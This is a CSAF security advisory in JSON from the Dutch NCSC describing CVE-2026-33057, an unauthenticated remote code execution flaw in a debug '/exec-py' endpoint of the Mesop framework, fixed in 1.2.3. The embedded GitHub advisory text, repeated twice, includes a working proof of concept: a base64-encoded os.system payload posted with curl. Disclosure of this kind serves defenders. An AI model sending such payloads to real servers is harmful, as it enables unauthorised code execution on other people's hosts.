{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33057",
        "tracking": {
            "current_release_date": "2026-03-26T12:28:01.050435Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33057",
            "initial_release_date": "2026-03-18T20:44:21.011196Z",
            "revision_history": [
                {
                    "date": "2026-03-18T20:44:21.011196Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-18T20:44:27.836985Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-19T11:39:58.820006Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:27:09.219694Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:27:13.719157Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:28:46.659492Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:28:50.312224Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T21:41:26.483485Z",
                    "number": "8",
                    "summary": "References created (2)."
                },
                {
                    "date": "2026-03-20T21:59:06.859630Z",
                    "number": "9",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T21:59:12.684422Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-21T15:23:26.483331Z",
                    "number": "11",
                    "summary": "EPSS updated."
                },
                {
                    "date": "2026-03-24T20:51:02.743427Z",
                    "number": "12",
                    "summary": "Products connected (1).| Product Identifiers created (1)."
                },
                {
                    "date": "2026-03-24T20:51:05.330792Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T14:39:36.789549Z",
                    "number": "14",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-26T12:27:49.395734Z",
                    "number": "15",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "15"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<1.2.3",
                                "product": {
                                    "name": "vers:unknown/<1.2.3",
                                    "product_id": "CSAFPID-5874528",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:mesop-dev:mesop:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "mesop"
                    }
                ],
                "category": "vendor",
                "name": "mesop-dev"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33057",
            "cwe": {
                "id": "CWE-94",
                "name": "Improper Control of Generation of Code ('Code Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "#### Summary\nAn explicit web endpoint inside the `ai/` testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.\n\n#### Details\nThe AI codebase package includes a lightweight debugging Flask server inside `ai/sandbox/wsgi_app.py`. The `/exec-py` route accepts base_64 encoded raw string payloads inside the `code` parameter natively evaluated by a basic `POST` web request. It saves it rapidly to the operating system logic path and injects it recursively using `execute_module(module_path...)`.\n\n```python\n# ai/sandbox/wsgi_app.py\n@flask_app.route(\"/exec-py\", methods=[\"POST\"])\ndef exec_py_route():\n  code = base64.urlsafe_b64decode(request.form.get(\"code\"))\n  # ... code is blindly written to file and forcefully executed\n```\n\n#### PoC\n```bash\n# Payload:\n# import os\n# os.system('echo \"pwned by attacker\" > /tmp/pwned.txt')\n# \n# Base64 string represents the identical payload block above: \n# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==\n\ncurl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==\"\n\n# Validate exploitation target execution natively:\n# $ cat /tmp/pwned.txt\n# pwned by attacker\n```\n\n#### Impact\nThis presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.",
                    "title": "github - https://github.com/advisories/GHSA-gjgx-rvqr-6w6v"
                },
                {
                    "category": "description",
                    "text": "#### Summary\nAn explicit web endpoint inside the `ai/` testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.\n\n#### Details\nThe AI codebase package includes a lightweight debugging Flask server inside `ai/sandbox/wsgi_app.py`. The `/exec-py` route accepts base_64 encoded raw string payloads inside the `code` parameter natively evaluated by a basic `POST` web request. It saves it rapidly to the operating system logic path and injects it recursively using `execute_module(module_path...)`.\n\n```python\n# ai/sandbox/wsgi_app.py\n@flask_app.route(\"/exec-py\", methods=[\"POST\"])\ndef exec_py_route():\n  code = base64.urlsafe_b64decode(request.form.get(\"code\"))\n  # ... code is blindly written to file and forcefully executed\n```\n\n#### PoC\n```bash\n# Payload:\n# import os\n# os.system('echo \"pwned by attacker\" > /tmp/pwned.txt')\n# \n# Base64 string represents the identical payload block above: \n# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==\n\ncurl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==\"\n\n# Validate exploitation target execution natively:\n# $ cat /tmp/pwned.txt\n# pwned by attacker\n```\n\n#### Impact\nThis presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.",
                    "title": "github - https://api.github.com/advisories/GHSA-gjgx-rvqr-6w6v"
                },
                {
                    "category": "description",
                    "text": "Mesop is a Python-based UI framework that allows users to build web applications. In versions 1.2.2 and below, an explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...). This issue has been fixed in version 1.2.3.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33057.json"
                },
                {
                    "category": "description",
                    "text": "Mesop is a Python-based UI framework that allows users to build web applications. In versions 1.2.2 and below, an explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...). This issue has been fixed in version 1.2.3.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33057"
                },
                {
                    "category": "other",
                    "text": "0.00116",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.6",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is product data available from source Nvd",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5874528"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-gjgx-rvqr-6w6v"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-gjgx-rvqr-6w6v"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-gjgx-rvqr-6w6v"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33057.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33057"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-gjgx-rvqr-6w6v"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/mesop-dev/mesop/commit/825f55970c20686de3f28e2c66df4d74e9d4db47"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33057"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 9.8,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-5874528"
                    ]
                }
            ],
            "title": "CVE-2026-33057"
        }
    ]
}